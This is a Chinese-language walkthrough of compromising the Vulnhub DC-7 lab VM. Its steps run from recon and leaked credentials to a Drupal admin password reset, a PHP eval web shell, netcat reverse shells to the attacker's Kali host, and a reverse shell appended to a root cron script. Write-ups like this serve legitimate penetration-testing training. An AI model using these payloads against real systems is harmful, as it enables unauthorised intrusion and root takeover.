欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Vulnhub靶机渗透测试——DC-7

程序员文章站 2022-03-09 23:13:27
...

 靶机DC-7下载地址:https://download.vulnhub.com/dc/DC-7.zip

环境:VMware 15虚拟机软件

         DC-7靶机IP地址:192.168.220.154

         Kali的IP地址:192.168.220.155

 

DC-6靶机与kali都以NAT模式连接到网络,查看kali的IP地址:192.168.220.155

ip addr

Vulnhub靶机渗透测试——DC-7

使用nmap工具扫描192.168.220.0网段的存活主机,发现靶机dc7的IP地址为192.168.220.154

nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP

Vulnhub靶机渗透测试——DC-7

使用nmap工具扫描靶机dc7开放的端口,发现已开放的端口有22(SSH)、80(HTTP)

nmap  -A 192.168.220.154 -p- -oN nmap154.A

Vulnhub靶机渗透测试——DC-7

使用kali下的网站指纹工具whatweb查看靶机搭建的网站,发现是使用Drupal 8搭建的网站

whatweb http://192.168.220.154

Vulnhub靶机渗透测试——DC-7

浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力**和字典排除在外,需要另外的思路,发现在欢迎页面的左下角有一个“@DC7USER”,应该是接入点

http://192.168.220.154/

欢迎来到DC-7

DC-7引入了一些“新”概念,但是我会让您知道它们是什么。:-)

尽管这一挑战并不是技术性的全部,但是如果您需要诉诸于暴力**或字典攻击,那么您可能不会成功。

您将要做的就是在盒子外面思考。

方式在盒子外面。:-)

Vulnhub靶机渗透测试——DC-7

在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接

https://github.com/Dc7User/

 

Vulnhub靶机渗透测试——DC-7

点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口

https://github.com/Dc7User/staffdb

Vulnhub靶机渗透测试——DC-7

打开kali,将源码下载到本地

git clone  https://github.com/Dc7User/staffdb

Vulnhub靶机渗透测试——DC-7

分析源码,发现一个config.php文件,在这个配置文件里找到了用户名和密码

cat config.php

dc7user/MdR3xOgB7#dW

Vulnhub靶机渗透测试——DC-7

使用SSH链接靶机,登录dc7user发现可以成功连接

ssh aaa@qq.com

Vulnhub靶机渗透测试——DC-7

发现一个backups文件夹和一个mbox文件

进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码

cd backups

Vulnhub靶机渗透测试——DC-7

打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

cat mbox

Vulnhub靶机渗透测试——DC-7

进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush

gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码

cd /opt/scripts

cat backups.sh

Vulnhub靶机渗透测试——DC-7

进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功

cd /var/www/html/

drush user-password admin --password="123456"

Vulnhub靶机渗透测试——DC-7

来到网站后台,使用admin/123456登录网站,成功登录

http://192.168.220.154/user/login

Vulnhub靶机渗透测试——DC-7

在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

Vulnhub靶机渗透测试——DC-7

Php介绍页面如下,模块包下载地址也附上

https://www.drupal.org/project/php

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

Vulnhub靶机渗透测试——DC-7

点击Install new module,将下载模块包的链接添加上,点击Install

Vulnhub靶机渗透测试——DC-7

Vulnhub靶机渗透测试——DC-7

Install后跳转到模块添加成功页面,然后去**这个模块

Vulnhub靶机渗透测试——DC-7

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示

Vulnhub靶机渗透测试——DC-7

Vulnhub靶机渗透测试——DC-7

然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

GetShell
<?php
@eval($_REQUEST[666]);
?>

Vulnhub靶机渗透测试——DC-7

因为欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell

http://192.168.220.154/
密码:666

Vulnhub靶机渗透测试——DC-7

在这里我习惯性的又再次反弹了一次shell到kali,当然在这里不反弹shell到kali下面也可以在蚁剑虚拟终端上做下面步骤

在kali监听4567端口,并反弹shell到kali,切换shell外壳

nc -e /bin/bash 192.168.220.155 4567
nc -lvvp 4567
python -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub靶机渗透测试——DC-7

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

Vulnhub靶机渗透测试——DC-7

写入反弹shell代码到backups.sh脚本文件中,并在kali监听1234端口,等待计划任务执行,稍微等待后成功getshell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.220.155 1234 >/tmp/f" >> backups.sh

nc -lvvp 1234

Vulnhub靶机渗透测试——DC-7

Vulnhub靶机渗透测试——DC-7

Vulnhub靶机渗透测试——DC-7

得到root权限后,进入root家目录下,发现theflag.txt文件

cd /root

cat theflag.txt

Vulnhub靶机渗透测试——DC-7